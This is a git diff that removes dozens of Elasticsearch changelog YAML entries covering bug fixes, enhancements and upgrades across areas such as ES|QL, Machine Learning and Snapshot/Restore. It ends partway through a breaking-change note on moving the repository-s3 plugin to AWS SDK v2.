diff --git a/docs/changelog/124825.yaml b/docs/changelog/124825.yaml
deleted file mode 100644
index 413695a5ae641..0000000000000
--- a/docs/changelog/124825.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124825
-summary: Check alias during update
-area: Transform
-type: bug
-issues: []
diff --git a/docs/changelog/124832.yaml b/docs/changelog/124832.yaml
deleted file mode 100644
index dd471e265c612..0000000000000
--- a/docs/changelog/124832.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 124832
-summary: List/get query API
-area: ES|QL
-type: feature
-issues:
- - 124827
diff --git a/docs/changelog/124841.yaml b/docs/changelog/124841.yaml
deleted file mode 100644
index 6f945054224e0..0000000000000
--- a/docs/changelog/124841.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124841
-summary: Pass `IndexReshardingMetadata` over the wire
-area: Distributed
-type: bug
-issues: []
diff --git a/docs/changelog/124898.yaml b/docs/changelog/124898.yaml
deleted file mode 100644
index 9542bd571a4bd..0000000000000
--- a/docs/changelog/124898.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 124898
-summary: Add cache support in `TransportGetAllocationStatsAction`
-area: Allocation
-type: enhancement
-issues:
- - 110716
diff --git a/docs/changelog/124901.yaml b/docs/changelog/124901.yaml
deleted file mode 100644
index d67bfb4defdba..0000000000000
--- a/docs/changelog/124901.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124901
-summary: Calculate concurrent node limit
-area: ES|QL
-type: feature
-issues: []
diff --git a/docs/changelog/124913.yaml b/docs/changelog/124913.yaml
deleted file mode 100644
index 3b8f6c24b096d..0000000000000
--- a/docs/changelog/124913.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124913
-summary: Report `original_types`
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/124927.yaml b/docs/changelog/124927.yaml
deleted file mode 100644
index 7b3c5b4663ff0..0000000000000
--- a/docs/changelog/124927.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124927
-summary: Use `FallbackSyntheticSourceBlockLoader` for `shape` and `geo_shape`
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/124929.yaml b/docs/changelog/124929.yaml
deleted file mode 100644
index 92f1528760b83..0000000000000
--- a/docs/changelog/124929.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124929
-summary: Include failures in partial response
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/124966.yaml b/docs/changelog/124966.yaml
deleted file mode 100644
index 7e962a795a485..0000000000000
--- a/docs/changelog/124966.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 124966
-summary: Use logs dir as working directory
-area: Infra/CLI
-type: enhancement
-issues: []
diff --git a/docs/changelog/125054.yaml b/docs/changelog/125054.yaml
deleted file mode 100644
index 20c8674754a32..0000000000000
--- a/docs/changelog/125054.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125054
-summary: Truncate `step_info` and error reason in ILM execution state and history
-area: ILM+SLM
-type: enhancement
-issues:
- - 124181
diff --git a/docs/changelog/125062.yaml b/docs/changelog/125062.yaml
deleted file mode 100644
index 04dd5ea4e273f..0000000000000
--- a/docs/changelog/125062.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125062
-summary: "Add initial version (behind snapshot) of `multi_match` function #121525"
-area: Search
-type: feature
-issues: [121525]
diff --git a/docs/changelog/125117.yaml b/docs/changelog/125117.yaml
deleted file mode 100644
index 23395d6439044..0000000000000
--- a/docs/changelog/125117.yaml
+++ /dev/null
@@ -1,8 +0,0 @@
-pr: 125117
-summary: "Permanently switch from Java SecurityManager to Entitlements.
-  The Java SecurityManager has been deprecated since Java 17, and it is now completely disabled in Java 24. In order
-  to retain an similar level of protection, Elasticsearch implemented its own protection mechanism, Entitlements.
-  Starting with this version, Entitlements will permanently replace the Java SecurityManager."
-area: Infra/Core
-type: upgrade
-issues: []
diff --git a/docs/changelog/125191.yaml b/docs/changelog/125191.yaml
deleted file mode 100644
index ced55c2d2ecc6..0000000000000
--- a/docs/changelog/125191.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125191
-summary: Fix sorting when `aggregate_metric_double` present
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/125204.yaml b/docs/changelog/125204.yaml
deleted file mode 100644
index de0ca932aafe0..0000000000000
--- a/docs/changelog/125204.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125204
-summary: Return a Conflict status code if the model deployment is stopped by a user
-area: Machine Learning
-type: bug
-issues:
- - 123745
diff --git a/docs/changelog/125213.yaml b/docs/changelog/125213.yaml
deleted file mode 100644
index 3793e83d1e162..0000000000000
--- a/docs/changelog/125213.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125213
-summary: Run `TransportGetDataStreamOptionsAction` on local node
-area: Data streams
-type: enhancement
-issues: []
diff --git a/docs/changelog/125214.yaml b/docs/changelog/125214.yaml
deleted file mode 100644
index 7a72e09e73426..0000000000000
--- a/docs/changelog/125214.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125214
-summary: Run `TransportGetDataStreamLifecycleAction` on local node
-area: Data streams
-type: enhancement
-issues: []
diff --git a/docs/changelog/125239.yaml b/docs/changelog/125239.yaml
deleted file mode 100644
index 60ec9bb0b7177..0000000000000
--- a/docs/changelog/125239.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125239
-summary: Adding common rerank options to Perform Inference API
-area: Machine Learning
-type: enhancement
-issues:
- - 111273
diff --git a/docs/changelog/125244.yaml b/docs/changelog/125244.yaml
deleted file mode 100644
index 9458f44643c23..0000000000000
--- a/docs/changelog/125244.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125244
-summary: Disable logging in `ClusterFormationFailureHelper` on shutdown
-area: Cluster Coordination
-type: bug
-issues:
- - 105559
diff --git a/docs/changelog/125259.yaml b/docs/changelog/125259.yaml
deleted file mode 100644
index f390886469749..0000000000000
--- a/docs/changelog/125259.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125259
-summary: Leverage scorer supplier in `QueryFeatureExtractor`
-area: Ranking
-type: enhancement
-issues: []
diff --git a/docs/changelog/125357.yaml b/docs/changelog/125357.yaml
deleted file mode 100644
index 70964f6f48b45..0000000000000
--- a/docs/changelog/125357.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125357
-summary: Keep ordinals in conversion functions
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/125403.yaml b/docs/changelog/125403.yaml
deleted file mode 100644
index d953dae4db4fe..0000000000000
--- a/docs/changelog/125403.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125403
-summary: First step optimizing tsdb doc values codec merging
-area: Codec
-type: enhancement
-issues: []
diff --git a/docs/changelog/125452.yaml b/docs/changelog/125452.yaml
deleted file mode 100644
index e12d9c7b69b6a..0000000000000
--- a/docs/changelog/125452.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125452
-summary: Add GCS telemetry with `ThreadLocal`
-area: Snapshot/Restore
-type: enhancement
-issues: []
diff --git a/docs/changelog/125477.yaml b/docs/changelog/125477.yaml
deleted file mode 100644
index 316f7a7cba2da..0000000000000
--- a/docs/changelog/125477.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125477
-summary: Prevent get datafeeds stats API returning an error when local tasks are slow to stop
-area: Machine Learning
-type: bug
-issues:
-  - 104160
diff --git a/docs/changelog/125479.yaml b/docs/changelog/125479.yaml
deleted file mode 100644
index efc31441254c5..0000000000000
--- a/docs/changelog/125479.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125479
-summary: ES|QL - Allow full text functions to be used in STATS
-area: ES|QL
-type: enhancement
-issues:
- - 125481
diff --git a/docs/changelog/125517.yaml b/docs/changelog/125517.yaml
deleted file mode 100644
index 993a32960c876..0000000000000
--- a/docs/changelog/125517.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125517
-summary: Semantic Text Chunking Indexing Pressure
-area: Machine Learning
-type: enhancement
-issues: []
diff --git a/docs/changelog/125520.yaml b/docs/changelog/125520.yaml
deleted file mode 100644
index 71172b2137dc0..0000000000000
--- a/docs/changelog/125520.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125520
-summary: Add `FailedShardEntry` info to shard-failed task source string
-area: Allocation
-type: enhancement
-issues:
- - 102606
diff --git a/docs/changelog/125529.yaml b/docs/changelog/125529.yaml
deleted file mode 100644
index b90327afa16d3..0000000000000
--- a/docs/changelog/125529.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125529
-summary: Store arrays offsets for boolean fields natively with synthetic source
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/125562.yaml b/docs/changelog/125562.yaml
deleted file mode 100644
index 1e53662fabb7e..0000000000000
--- a/docs/changelog/125562.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125562
-summary: Improve handling of empty response
-area: Infra/REST API
-type: bug
-issues:
- - 57639
diff --git a/docs/changelog/125570.yaml b/docs/changelog/125570.yaml
deleted file mode 100644
index ede177c666470..0000000000000
--- a/docs/changelog/125570.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125570
-summary: ES|QL random sampling
-area: Machine Learning
-type: feature
-issues: []
diff --git a/docs/changelog/125599.yaml b/docs/changelog/125599.yaml
deleted file mode 100644
index e0057f50dd937..0000000000000
--- a/docs/changelog/125599.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125599
-summary: Allow zero for `rescore_vector.oversample` to indicate by-passing oversample
-  and rescoring
-area: Vector Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/125631.yaml b/docs/changelog/125631.yaml
deleted file mode 100644
index 32917bb1da060..0000000000000
--- a/docs/changelog/125631.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125631
-summary: Add `documents_found` and `values_loaded`
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/125652.yaml b/docs/changelog/125652.yaml
deleted file mode 100644
index 59a69964a0967..0000000000000
--- a/docs/changelog/125652.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125652
-summary: Run `TransportGetIndexAction` on local node
-area: Indices APIs
-type: enhancement
-issues: []
diff --git a/docs/changelog/125690.yaml b/docs/changelog/125690.yaml
deleted file mode 100644
index 00129675840a4..0000000000000
--- a/docs/changelog/125690.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125690
-summary: Take double parameter markers for identifiers out of snapshot
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/125699.yaml b/docs/changelog/125699.yaml
deleted file mode 100644
index 29ee24da4c974..0000000000000
--- a/docs/changelog/125699.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125699
-summary: Adding `NormalizeForStreamProcessor`
-area: Ingest Node
-type: feature
-issues: []
diff --git a/docs/changelog/125709.yaml b/docs/changelog/125709.yaml
deleted file mode 100644
index 4979633208ceb..0000000000000
--- a/docs/changelog/125709.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125709
-summary: Store arrays offsets for unsigned long fields natively with synthetic source
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/125739.yaml b/docs/changelog/125739.yaml
deleted file mode 100644
index cc5fa57b0f09b..0000000000000
--- a/docs/changelog/125739.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125739
-summary: Heuristics to pick efficient partitioning
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/125816.yaml b/docs/changelog/125816.yaml
deleted file mode 100644
index aa43e2c766699..0000000000000
--- a/docs/changelog/125816.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125816
-summary: Use `FallbackSyntheticSourceBlockLoader` for point and `geo_point`
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/125832.yaml b/docs/changelog/125832.yaml
deleted file mode 100644
index 4877a02e9e6d0..0000000000000
--- a/docs/changelog/125832.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 125832
-summary: "ESQL: Fix `NULL` handling in `IN` clause"
-area: ES|QL
-type: bug
-issues:
-  - 119950
diff --git a/docs/changelog/125896.yaml b/docs/changelog/125896.yaml
deleted file mode 100644
index 92c2d2712f853..0000000000000
--- a/docs/changelog/125896.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125896
-summary: Support explicit Z/M attributes using WKT geometry
-area: Geo
-type: enhancement
-issues: [123111]
diff --git a/docs/changelog/125930.yaml b/docs/changelog/125930.yaml
deleted file mode 100644
index 9bf7d18545772..0000000000000
--- a/docs/changelog/125930.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 125930
-summary: Infer the score mode to use from the Lucene collector
-area: "ES|QL"
-type: enhancement
-issues: []
diff --git a/docs/changelog/126002.yaml b/docs/changelog/126002.yaml
deleted file mode 100644
index 4879d38ab4675..0000000000000
--- a/docs/changelog/126002.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126002
-summary: Run `TransportGetLifecycleAction` on local node
-area: ILM+SLM
-type: enhancement
-issues: []
diff --git a/docs/changelog/126008.yaml b/docs/changelog/126008.yaml
deleted file mode 100644
index e905bde32e433..0000000000000
--- a/docs/changelog/126008.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126008
-summary: Accumulate compute() calls and iterations between convergences
-area: Allocation
-type: enhancement
-issues:
- - 100850
diff --git a/docs/changelog/126009.yaml b/docs/changelog/126009.yaml
deleted file mode 100644
index cd398938d1a1b..0000000000000
--- a/docs/changelog/126009.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126009
-summary: Change ModelLoaderUtils.split to return the correct number of chunks and ranges.
-area: Machine Learning
-type: bug
-issues:
- - 121799
diff --git a/docs/changelog/126035.yaml b/docs/changelog/126035.yaml
deleted file mode 100644
index 1a96205e476e7..0000000000000
--- a/docs/changelog/126035.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126035
-summary: Fix top level knn search with scroll
-area: Vector Search
-type: bug
-issues: []
diff --git a/docs/changelog/126038.yaml b/docs/changelog/126038.yaml
deleted file mode 100644
index 65eabdb7937db..0000000000000
--- a/docs/changelog/126038.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126038
-summary: Mark `rescore_vector` as generally available
-area: Vector Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/126051.yaml b/docs/changelog/126051.yaml
deleted file mode 100644
index cffdb587b242c..0000000000000
--- a/docs/changelog/126051.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126051
-summary: Run `TransportGetSettingsAction` on local node
-area: Indices APIs
-type: enhancement
-issues: []
diff --git a/docs/changelog/126087.yaml b/docs/changelog/126087.yaml
deleted file mode 100644
index 94d5c5e0c28ba..0000000000000
--- a/docs/changelog/126087.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126087
-summary: Upgrade to repository-gcs to use com.google.cloud:google-cloud-storage-bom:2.50.0
-area: Snapshot/Restore
-type: upgrade
-issues: []
diff --git a/docs/changelog/126091.yaml b/docs/changelog/126091.yaml
deleted file mode 100644
index beba808c96fc6..0000000000000
--- a/docs/changelog/126091.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126091
-summary: Allow balancing weights to be set per tier
-area: Allocation
-type: enhancement
-issues: []
diff --git a/docs/changelog/126237.yaml b/docs/changelog/126237.yaml
deleted file mode 100644
index 24f245a528795..0000000000000
--- a/docs/changelog/126237.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126237
-summary: Use `FallbackSyntheticSourceBlockLoader` for text fields
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/126264.yaml b/docs/changelog/126264.yaml
deleted file mode 100644
index e2c4c6e4a8695..0000000000000
--- a/docs/changelog/126264.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126264
-summary: '`FileWatchingService` shoudld not throw for missing file'
-area: Infra/Settings
-type: enhancement
-issues: []
diff --git a/docs/changelog/126296.yaml b/docs/changelog/126296.yaml
deleted file mode 100644
index 55affb6ab4c79..0000000000000
--- a/docs/changelog/126296.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126296
-summary: Fail with 500 not 400 for `ValueExtractor` bugs
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/126314.yaml b/docs/changelog/126314.yaml
deleted file mode 100644
index 8d16788f8b0c0..0000000000000
--- a/docs/changelog/126314.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126314
-summary: Add refresh to synonyms put / delete APIs to wait for synonyms to be accessible and reload analyzers
-area: Analysis
-type: bug
-issues:
- - 121441
diff --git a/docs/changelog/126319.yaml b/docs/changelog/126319.yaml
deleted file mode 100644
index c8e84df61ad06..0000000000000
--- a/docs/changelog/126319.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126319
-summary: COMPLETION command grammar and logical plan
-area: ES|QL
-type: feature
-issues: []
diff --git a/docs/changelog/126372.yaml b/docs/changelog/126372.yaml
deleted file mode 100644
index 75345296d8392..0000000000000
--- a/docs/changelog/126372.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126372
-summary: Add `IndexingPressureMonitor` to monitor large indexing operations
-area: CRUD
-type: enhancement
-issues: []
diff --git a/docs/changelog/126385.yaml b/docs/changelog/126385.yaml
deleted file mode 100644
index c59d1f15c6eae..0000000000000
--- a/docs/changelog/126385.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126385
-summary: Filter out empty top docs results before merging
-area: Search
-type: bug
-issues:
- - 126118
diff --git a/docs/changelog/126397.yaml b/docs/changelog/126397.yaml
deleted file mode 100644
index 49e43ccf04a57..0000000000000
--- a/docs/changelog/126397.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126397
-summary: "ESQL: Preserve single aggregate when all attributes are pruned"
-area: ES|QL
-type: bug
-issues:
- - 126392
diff --git a/docs/changelog/126401.yaml b/docs/changelog/126401.yaml
deleted file mode 100644
index 227a6c5a61795..0000000000000
--- a/docs/changelog/126401.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126401
-summary: Add pinned retriever
-area: Relevance
-type: enhancement
-issues: []
diff --git a/docs/changelog/126409.yaml b/docs/changelog/126409.yaml
deleted file mode 100644
index 7c5401faefa78..0000000000000
--- a/docs/changelog/126409.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126409
-summary: System data streams are not being upgraded in the feature migration API
-area: Infra/Core
-type: bug
-issues:
-  - 122949
diff --git a/docs/changelog/126417.yaml b/docs/changelog/126417.yaml
deleted file mode 100644
index 8fd456becacdb..0000000000000
--- a/docs/changelog/126417.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126417
-summary: Correctly handle nulls in nested paths in the remove processor
-area: Ingest Node
-type: bug
-issues: []
diff --git a/docs/changelog/126452.yaml b/docs/changelog/126452.yaml
deleted file mode 100644
index a67c1db5211d2..0000000000000
--- a/docs/changelog/126452.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126452
-summary: Run `newShardSnapshotTask` tasks concurrently
-area: Snapshot/Restore
-type: bug
-issues: []
diff --git a/docs/changelog/126493.yaml b/docs/changelog/126493.yaml
deleted file mode 100644
index 84a54b1058827..0000000000000
--- a/docs/changelog/126493.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126493
-summary: Bedrock Cohere Task Settings Support
-area: Machine Learning
-type: enhancement
-issues:
- - 126156
diff --git a/docs/changelog/126529.yaml b/docs/changelog/126529.yaml
deleted file mode 100644
index e8beaf3fba4a9..0000000000000
--- a/docs/changelog/126529.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126529
-summary: "Batch ILM policy cluster state updates [#122917]"
-area: ILM+SLM
-type: enhancement
-issues:
- - 122917
diff --git a/docs/changelog/126532.yaml b/docs/changelog/126532.yaml
deleted file mode 100644
index dff3094c31ad8..0000000000000
--- a/docs/changelog/126532.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126532
-summary: TO_IP can handle leading zeros
-area: ES|QL
-type: bug
-issues:
- - 125460
diff --git a/docs/changelog/126537.yaml b/docs/changelog/126537.yaml
deleted file mode 100644
index 46ed789bd6768..0000000000000
--- a/docs/changelog/126537.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126537
-summary: Fix ELAND endpoints not updating dimensions
-area: Machine Learning
-type: bug
-issues: []
diff --git a/docs/changelog/126550.yaml b/docs/changelog/126550.yaml
deleted file mode 100644
index 3bc1e9332afcf..0000000000000
--- a/docs/changelog/126550.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126550
-summary: Add leniency to missing array values in mustache
-area: Infra/Scripting
-type: bug
-issues:
- - 55200
diff --git a/docs/changelog/126562.yaml b/docs/changelog/126562.yaml
deleted file mode 100644
index a02ae0aacd018..0000000000000
--- a/docs/changelog/126562.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126562
-summary: Add a custom `toString` to `DynamicMap`
-area: Infra/Scripting
-type: bug
-issues:
- - 70262
diff --git a/docs/changelog/126578.yaml b/docs/changelog/126578.yaml
deleted file mode 100644
index c65ef197e8a30..0000000000000
--- a/docs/changelog/126578.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126578
-summary: Retrieve token text only when necessary
-area: ES|QL
-type: bug
-issues: []
diff --git a/docs/changelog/126581.yaml b/docs/changelog/126581.yaml
deleted file mode 100644
index 53fcb8a6057b3..0000000000000
--- a/docs/changelog/126581.yaml
+++ /dev/null
@@ -1,10 +0,0 @@
-pr: 126581
-summary: "Optimize shared blob cache evictions on shard removal
-  Shared blob cache evictions occur on the cluster applier thread when shards are
-  removed from a node. These can be expensive if a large number of shards are
-  being removed. This change uses the context of the removal to avoid unnecessary
-  evictions that might hold up the applier thread.
-  "
-area: Snapshot/Restore
-type: enhancement
-issues: []
diff --git a/docs/changelog/126594.yaml b/docs/changelog/126594.yaml
deleted file mode 100644
index 59743a606d34a..0000000000000
--- a/docs/changelog/126594.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126594
-summary: Upgrade to Lucene 10.2.0
-area: Search
-type: upgrade
-issues: []
diff --git a/docs/changelog/126598.yaml b/docs/changelog/126598.yaml
deleted file mode 100644
index 39187f0d60977..0000000000000
--- a/docs/changelog/126598.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126598
-summary: "ESQL: Retain aggregate when grouping"
-area: ES|QL
-type: bug
-issues:
-  - 126026
diff --git a/docs/changelog/126612.yaml b/docs/changelog/126612.yaml
deleted file mode 100644
index e8fd1825bfc2d..0000000000000
--- a/docs/changelog/126612.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126612
-summary: Add Support for Providing a custom `ServiceAccountTokenStore` through `SecurityExtensions`
-area: Authentication
-type: enhancement
-issues: []
diff --git a/docs/changelog/126629.yaml b/docs/changelog/126629.yaml
deleted file mode 100644
index 49d04856c0b64..0000000000000
--- a/docs/changelog/126629.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126629
-summary: Default new `semantic_text` fields to use BBQ when models are compatible
-area: Relevance
-type: enhancement
-issues: []
diff --git a/docs/changelog/126641.yaml b/docs/changelog/126641.yaml
deleted file mode 100644
index d99977d981acd..0000000000000
--- a/docs/changelog/126641.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126641
-summary: Push more `==`s on text fields to lucene
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/126644.yaml b/docs/changelog/126644.yaml
deleted file mode 100644
index 05b1cbccbae1b..0000000000000
--- a/docs/changelog/126644.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126644
-summary: Add block loader from stored field and source for ip field
-area: Mapping
-type: enhancement
-issues: []
diff --git a/docs/changelog/126653.yaml b/docs/changelog/126653.yaml
deleted file mode 100644
index 1497aa7a40053..0000000000000
--- a/docs/changelog/126653.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126653
-summary: Retry shard movements during ESQL query
-area: ES|QL
-type: enhancement
-issues: []
diff --git a/docs/changelog/126687.yaml b/docs/changelog/126687.yaml
deleted file mode 100644
index d140b67e36a49..0000000000000
--- a/docs/changelog/126687.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126687
-summary: Permit at+jwt typ header value in jwt access tokens
-area: Authentication
-type: enhancement
-issues:
- - 119370
diff --git a/docs/changelog/126702.yaml b/docs/changelog/126702.yaml
deleted file mode 100644
index a6def67c08c6d..0000000000000
--- a/docs/changelog/126702.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126702
-summary: "Return float[] instead of List<Double> in `valueFetcher`"
-area: Search
-type: enhancement
-issues: []
diff --git a/docs/changelog/126704.yaml b/docs/changelog/126704.yaml
deleted file mode 100644
index 7f86594a05160..0000000000000
--- a/docs/changelog/126704.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126704
-summary: Add dense vector off-heap stats to Node stats and Index stats APIs
-area: "Vector Search"
-type: enhancement
-issues: []
diff --git a/docs/changelog/126724.yaml b/docs/changelog/126724.yaml
deleted file mode 100644
index 8c41d04ff7ae5..0000000000000
--- a/docs/changelog/126724.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126724
-summary: Fix painless return type cast for list shortcut
-area: Infra/Scripting
-type: bug
-issues: []
diff --git a/docs/changelog/126751.yaml b/docs/changelog/126751.yaml
deleted file mode 100644
index 05235c922d754..0000000000000
--- a/docs/changelog/126751.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126751
-summary: Allow float settings to be configured with other settings as default
-area: Infra/Settings
-type: enhancement
-issues: []
diff --git a/docs/changelog/126770.yaml b/docs/changelog/126770.yaml
deleted file mode 100644
index cc4bc2d1d842f..0000000000000
--- a/docs/changelog/126770.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126770
-summary: Remove empty results before merging
-area: Search
-type: bug
-issues:
- - 126742
diff --git a/docs/changelog/126786.yaml b/docs/changelog/126786.yaml
deleted file mode 100644
index 0f7243324ed82..0000000000000
--- a/docs/changelog/126786.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126786
-summary: Account for time taken to write index buffers in `IndexingMemoryController`
-area: Distributed
-type: enhancement
-issues: []
diff --git a/docs/changelog/126792.yaml b/docs/changelog/126792.yaml
deleted file mode 100644
index 66e46fa59c433..0000000000000
--- a/docs/changelog/126792.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126792
-summary: Revert endpoint creation validation for ELSER and E5
-area: Machine Learning
-type: bug
-issues: []
diff --git a/docs/changelog/126803.yaml b/docs/changelog/126803.yaml
deleted file mode 100644
index a0b2c6a4742a4..0000000000000
--- a/docs/changelog/126803.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126803
-summary: "[Security Solution] Add `read` index privileges to `kibana_system` role\
-  \ for Microsoft Defender integration indexes"
-area: Authorization
-type: enhancement
-issues: []
diff --git a/docs/changelog/126805.yaml b/docs/changelog/126805.yaml
deleted file mode 100644
index 9051f775f698d..0000000000000
--- a/docs/changelog/126805.yaml
+++ /dev/null
@@ -1,5 +0,0 @@
-pr: 126805
-summary: Adding timeout to request for creating inference endpoint
-area: Machine Learning
-type: bug
-issues: []
diff --git a/docs/changelog/126840.yaml b/docs/changelog/126840.yaml
deleted file mode 100644
index 53c899a575def..0000000000000
--- a/docs/changelog/126840.yaml
+++ /dev/null
@@ -1,6 +0,0 @@
-pr: 126840
-summary: Fix `PolicyStepsRegistry` cache concurrency issue
-area: ILM+SLM
-type: bug
-issues:
- - 118406
diff --git a/docs/changelog/126843.yaml b/docs/changelog/126843.yaml
deleted file mode 100644
index 1497f75b2ea74..0000000000000
--- a/docs/changelog/126843.yaml
+++ /dev/null
@@ -1,89 +0,0 @@
-pr: 126843
-summary: Upgrade `repository-s3` to AWS SDK v2
-area: Snapshot/Restore
-type: breaking
-issues:
- - 120993
-highlight:
-  title: Upgrade `repository-s3` to AWS SDK v2
-  body: >-
-    In earlier versions of {es} the `repository-s3` plugin was based on the AWS
-    SDK v1. AWS will withdraw support for this SDK before the end of the life
-    of {es} {minor-version} so we have migrated this plugin to the newer AWS SDK v2.
-
-    The two SDKs are not quite compatible, so please check the breaking changes
-    documentation and test the new version thoroughly before upgrading any
-    production workloads.
-  notable: true
-breaking:
-  title: Upgrade `repository-s3` to AWS SDK v2
-  area: Cluster and node setting
-  details: >-
-    In earlier versions of {es} the `repository-s3` plugin was based on the AWS
-    SDK v1. AWS will withdraw support for this SDK before the end of the life
-    of {es} {minor-version} so we must migrate to the newer AWS SDK v2.
-
-    Unfortunately there are several differences between the two AWS SDK
-    versions which may require you to adjust your system configuration when
-    upgrading to {es} {minor-version} or later. These differences include, but
-    may not be limited to, the following items.
-
-    * AWS SDK v2 requires users to specify the region to use for signing
-      requests, or else to run in an environment in which it can determine the
-      correct region automatically. The older SDK would try to determine the
-      region based on the endpoint URL as specified with the
-      `s3.client.${CLIENT_NAME}.endpoint` setting, together with other data
-      drawn from the operating environment, and would ultimately fall back to
-      `us-east-1` if no better value could be found.
-
-    * AWS SDK v2 does not support the EC2 IMDSv1 protocol.
-
-    * AWS SDK v2 does not support the
-      `com.amazonaws.sdk.ec2MetadataServiceEndpointOverride` system property.
-
